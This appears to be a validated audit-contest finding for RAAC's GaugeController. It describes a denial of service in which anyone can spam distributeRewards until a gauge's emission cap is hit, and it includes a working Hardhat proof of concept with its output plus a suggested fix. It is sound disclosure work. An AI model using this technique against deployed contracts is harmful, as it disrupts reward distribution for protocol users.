Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

The permissionless `GaugeController::distributeRewards` allows an attacker to DoS further reward distributions and keep gauge's reward rate at minimum value

Summary

A malicious user can spam the permissionless GaugeController::distributeRewards function until the gauge's emission cap is reached. This prevents GaugeController::distributeRevenue from executing, causing it to revert. Consequently, the gauge's rewardRate can no longer be updated and may remain at its lowest possible value.

Vulnerability Details

The GaugeController::_calculateReward is used by distributeRewards() to determine the value to distribute to a particular gauge.

function _calculateReward(address gauge) internal view returns (uint256) {
Gauge storage g = gauges[gauge];
uint256 totalWeight = getTotalWeight();
if (totalWeight == 0) return 0;
uint256 gaugeShare = (g.weight * WEIGHT_PRECISION) / totalWeight;
uint256 typeShare = (typeWeights[g.gaugeType] * WEIGHT_PRECISION) / MAX_TYPE_WEIGHT;
// Calculate period emissions based on gauge type
@> uint256 periodEmission = g.gaugeType == GaugeType.RWA ? _calculateRWAEmission() : _calculateRAACEmission();
@> return (periodEmission * gaugeShare * typeShare) / (WEIGHT_PRECISION * WEIGHT_PRECISION);
}
  • _calculateRAACEmission() returns a fixed 250000e18.

  • The RAACGauge emission cap is set 500000e18 upon contract creation.

  • If gaugeShare is 1 wei, _calculateReward() returns 125000e18.

  • Within four calls to distributeRewards(), the emission cap is reached.

When distributeRewards() is called, BaseGauge::notifyRewardAmount updates the rewardRate:

function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
@> rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
@> periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}

The notifyReward() function enforces the emission cap:

function notifyReward(
PeriodState storage state,
uint256 amount,
uint256 maxEmission,
uint256 periodDuration
) internal view returns (uint256) {
if (amount > maxEmission) revert RewardCapExceeded();
if (amount + state.distributed > state.emission) {
revert RewardCapExceeded();
}
uint256 rewardRate = amount / periodDuration;
if (rewardRate == 0) revert ZeroRewardRate();
return rewardRate;
}

The rewardRate is calculated by dividing the amount distributed to the gauge by the period duration. In the case that the gauge has 1 wei worth of weight the amount will be minimal 125000e18.
Once the emission cap is reached the rewardRate can no longer be updated and will stay at the lowest amount possible.
Since this function will revert if the emission cap is reached the GaugeController::distributeRevenue will be DoSed.

PoC

import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("GaugeControllerPoC", () => {
let gaugeController;
let rwaGauge;
let raacGauge;
let veRAACToken;
let rewardToken;
let owner;
let gaugeAdmin;
let emergencyAdmin;
let user1;
let user2;
let user3;
beforeEach(async () => {
[owner, gaugeAdmin, emergencyAdmin, user1, user2, user3] = await ethers.getSigners();
// Deploy Mock tokens
const MockToken = await ethers.getContractFactory("MockToken");
veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress();
rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
await rewardToken.waitForDeployment();
const rewardTokenAddress = await rewardToken.getAddress();
// Deploy GaugeController with correct parameters
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veRAACAddress);
await gaugeController.waitForDeployment();
const gaugeControllerAddress = await gaugeController.getAddress();
// Deploy RWAGauge with correct parameters
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(
rewardTokenAddress,
veRAACAddress,
gaugeControllerAddress
);
await rwaGauge.waitForDeployment();
// Deploy RAACGauge with correct parameters
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
rewardTokenAddress,
veRAACAddress,
gaugeControllerAddress
);
await raacGauge.waitForDeployment();
// Setup roles
const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
await gaugeController.grantRole(EMERGENCY_ADMIN_ROLE, emergencyAdmin.address);
// Add gauges
await gaugeController.connect(gaugeAdmin).addGauge(
await rwaGauge.getAddress(),
0, // RWA type
0 // Initial weight
);
await gaugeController.connect(gaugeAdmin).addGauge(
await raacGauge.getAddress(),
1, // RAAC type
0 // Initial weight
);
// Initialize gauges
await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
});
it("can block the reward distribution across gauges", async () => {
// mint reward tokens to the gauge
await rewardToken.mint(raacGauge.getAddress(), ethers.parseEther("1000000"));
// mint 1 wei worth of veRAACToken to user1
await veRAACToken.mint(user1.address, 1);
// user1 votes for a gauge
await gaugeController.connect(user1).vote(raacGauge.getAddress(), 10000);
// user1 spams `distributeRewards` so the gauge can reach its emission cap
// In this case, `RAACGauge` has emission cap of 500_000e18 and the weekly raac emission calculation is 250_000e18
// when the gauge total weight is 1 wei the attaker has to invoke `distributeRewards` 4 times
for (let i = 0; i < 4; i++) {
await gaugeController.connect(user1).distributeRewards(raacGauge.getAddress());
}
const state = await raacGauge.periodState();
console.log("Distributed: ", state.distributed);
// users have veRAACToken
await veRAACToken.mint(user2, ethers.parseEther("10"));
await veRAACToken.mint(user3, ethers.parseEther("10"));
// users vote for gauge so it can have some weight
await gaugeController.connect(user2).vote(raacGauge.getAddress(), 10000);
await gaugeController.connect(user3).vote(raacGauge.getAddress(), 10000);
// The revenue distribution will be blocked.
const type = await gaugeController.getGaugeType(raacGauge.getAddress());
await expect(gaugeController.connect(emergencyAdmin).distributeRevenue(type, ethers.parseEther("20")))
.to.be.revertedWithCustomError(raacGauge, "RewardCapExceeded");
// The `rewardRate` will stay at minimum value because the attacker spammed the `distributeReward()`...
// ... with 1 wei worth of gauge weight
const rewardRate = await raacGauge.rewardRate();
console.log("Reward Rate: ", rewardRate);
});
GaugeControllerPoC
Distributed: 500000000000000000000000n
Reward Rate: 206679894179894179n
✔ can block the reward distribution across gauges (4896ms)
1 passing (22s)

Impact

The issue can cause a DoS to the reward distribution across the gauges and disrupts the rewarding functionality as the attacker can easily make a gauge to reach its emission cap and further transactions to update the reward rate will be reverted

Tools Used

Manual Research, VSCode

Recommendations

To prevent abuse, GaugeController::distributeReward can be restricted to trusted actors only.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController's distributeRewards lacks time-tracking, allowing attackers to repeatedly distribute full period rewards until hitting emission caps

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.